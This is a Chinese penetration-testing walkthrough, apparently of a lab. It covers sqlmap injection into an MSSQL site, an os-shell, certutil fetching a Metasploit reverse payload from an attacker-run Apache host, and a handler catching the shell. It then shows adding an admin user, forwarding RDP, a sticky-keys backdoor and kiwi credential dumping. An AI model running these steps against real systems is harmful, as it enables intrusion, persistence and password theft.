准备:假设内网有一台2003服务器(使用mssql数据库,存在注入点),把网页服务80端口映射到防火墙8092端口,外网一台centos用来接收反弹shell
工具:sqlmap、msf、apache
一、访问映射到外网的8092端口,web服务器寻找注入点
测试页面存在注入点
使用sqlmap进行注入
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql"
注入成功,获取到了服务器信息
二、sqlmap提权
由于是mssql数据库,首先查看当前数据库用户
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --current-user
sa 用户,可以进行提权
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --os-shell
提权成功
三、由于是内网设备,采用反弹shell到我准备好的外网centos设备
centos搭建apache服务,用来装载反弹马给目标下载
yum install httpd -y
设置apache服务
systemctl start httpd
systemctl enable httpd
修改apache端口(默认80不要使用)
vim /etc/httpd/conf/httpd.conf
重启一下apache服务,手动查看一下端口情况,5555正常监听就没问题
service httpd restart
netstat -ant
主机win10手动访问一下搭建好的apache
这里遇到一点问题,无法访问网页服务,导致后续下载反弹马失败
原因可能是被centos防火墙拦截了。
查看防火墙状态
systemctl status firewalld.service
关闭防火墙服务
systemctl stop firewalld.service
禁止开机自启防火墙服务
systemctl disable firewalld.service
四、msf制作反弹马
外网centos服务器安装msf
由于下载的msf离线包是.deb后缀的,先下载dpkg工具
yum install dpkg
安装msf离线包
dpkg -i msf.deb
启动msf,使用payload模块制作反弹马
这里我们设置监听端口为外网ip,端口设置为1234
提示123.exe制作完成
将上一步做好的反弹马放到网站根目录
mv 123.exe /var/www/html/
五、msf监听
设置监听模块,
use exploit/multi/handler
设置与反弹马设置的端口和ip保持一致,并且需要手动设置payload
开启监听
六、sqlmap下载反弹马并执行
由于03服务器提权成功,sqlmap可以执行系统命令
下载centos准备好的反弹马
certutil -urlcache -split -f http://外网ip:5555/123.exe
补充知识点:
适用于server 2003以上版本,windows的环境下用命令行下载文件
certutil -urlcache -split -f http://192.168.203.140/文件名.exe
执行反弹马
C:\windows\system32\Blob0_0.bin
大概几秒钟后,msf捕获到反弹shell
执行shell命令后,即可执行系统命令,建立稳定连接
第二部分:支线任务
成功获取这台192.168.100.12权限后,继续进行内网渗透
新建用户,并添加到管理员组
net user admin admin /add
net localgroup Administrators admin /add
开启3389远程桌面端口
run getgui -e
提示使用另一条命令 try后面
run post/windows/manage/enable_rdp
提示完成
将3389进行端口映射,映射到centos的33890端口
portfwd add -l 33890 -r 192.168.100.2 -p 3389
远程桌面登录后,便于后续测试后门脚本
此时用主机win10就可以直接远程连接centos ip:33890
上传脚本文件到C:/
shell
CD \
1.bat
此时远程桌面登录框,连续按多次shift,即可触发粘连键,由于我们用1.bat将cmd.exe替换掉了粘连键程序,所以此时不需要登录,就已经可以执行cmd命令了
这时可以新建用户,添加组等操作
支线任务二:使用wiki模块获取用户密码
加载kiwi
creds_all
读取所有活动用户的密码
目的达到,执行2.bat,还原粘连键程序